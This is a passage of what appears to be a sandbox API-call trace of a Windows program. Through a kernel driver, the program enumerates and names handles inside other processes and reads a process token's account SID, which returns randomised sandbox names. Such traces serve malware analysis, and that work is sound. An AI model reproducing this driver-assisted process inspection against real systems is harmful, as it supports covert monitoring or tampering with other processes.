Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.531] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0114.531] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.531] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.531] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0114.531] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.531] PsAcquireProcessExitSynchronization () returned 0x0 [0114.531] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.531] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0114.531] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.532] PsReleaseProcessExitSynchronization () returned 0x2 [0114.532] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.532] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.532] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0114.532] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.532] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.532] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.532] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.532] PsAcquireProcessExitSynchronization () returned 0x0 [0114.532] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.532] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800394e060, HandleInformation=0x0) returned 0x0 [0114.532] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x7 [0114.532] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.532] PsReleaseProcessExitSynchronization () returned 0x2 [0114.532] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.532] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.532] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.532] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0114.532] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.532] PsAcquireProcessExitSynchronization () returned 0x0 [0114.532] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.532] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0114.532] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.532] PsReleaseProcessExitSynchronization () returned 0x2 [0114.532] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.532] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.533] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0114.533] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.533] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.533] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0114.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.533] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0114.533] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.533] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0114.533] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.533] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.533] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.533] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.533] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.535] CloseHandle (hObject=0xc8) returned 1 [0114.535] CloseHandle (hObject=0xc0) returned 1 [0114.535] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0114.535] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.535] PsAcquireProcessExitSynchronization () returned 0x0 [0114.535] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.535] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0114.535] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.535] PsReleaseProcessExitSynchronization () returned 0x2 [0114.535] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.535] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.535] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0114.535] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.535] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.535] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0114.535] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.535] PsAcquireProcessExitSynchronization () returned 0x0 [0114.535] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.535] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0114.535] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.536] PsReleaseProcessExitSynchronization () returned 0x2 [0114.536] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.536] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.536] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0114.536] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.536] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.536] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.536] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.536] PsAcquireProcessExitSynchronization () returned 0x0 [0114.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.536] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.536] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.536] PsReleaseProcessExitSynchronization () returned 0x2 [0114.536] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.536] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.536] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.536] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.536] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.536] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.536] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.536] PsAcquireProcessExitSynchronization () returned 0x0 [0114.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.536] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0114.536] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.536] PsReleaseProcessExitSynchronization () returned 0x2 [0114.537] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.537] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0114.537] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.537] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.537] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.537] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.537] PsAcquireProcessExitSynchronization () returned 0x0 [0114.537] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.537] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0114.537] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.537] PsReleaseProcessExitSynchronization () returned 0x2 [0114.537] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.537] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.537] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0114.537] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.537] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.537] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0114.537] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.537] PsAcquireProcessExitSynchronization () returned 0x0 [0114.537] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.537] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0114.537] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.537] PsReleaseProcessExitSynchronization () returned 0x2 [0114.537] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.537] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0114.537] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.537] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.538] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0114.538] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.538] PsAcquireProcessExitSynchronization () returned 0x0 [0114.538] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.538] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0114.538] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.538] PsReleaseProcessExitSynchronization () returned 0x2 [0114.538] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.538] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.538] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0114.538] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.538] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.538] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.538] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.538] PsAcquireProcessExitSynchronization () returned 0x0 [0114.538] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.538] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.538] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.538] PsReleaseProcessExitSynchronization () returned 0x2 [0114.538] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.538] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.538] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.538] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.538] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.538] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0114.538] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.538] PsAcquireProcessExitSynchronization () returned 0x0 [0114.538] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.538] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0114.538] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.539] PsReleaseProcessExitSynchronization () returned 0x2 [0114.539] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.539] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.539] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0114.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.539] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.539] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.539] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.539] PsAcquireProcessExitSynchronization () returned 0x0 [0114.539] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.539] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.539] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.539] PsReleaseProcessExitSynchronization () returned 0x2 [0114.539] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.539] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.539] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.539] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.539] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.539] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.539] PsAcquireProcessExitSynchronization () returned 0x0 [0114.539] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880055905d0) [0114.539] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0114.539] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.539] PsReleaseProcessExitSynchronization () returned 0x2 [0114.539] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0114.539] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.539] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x7 [0114.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.540] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: 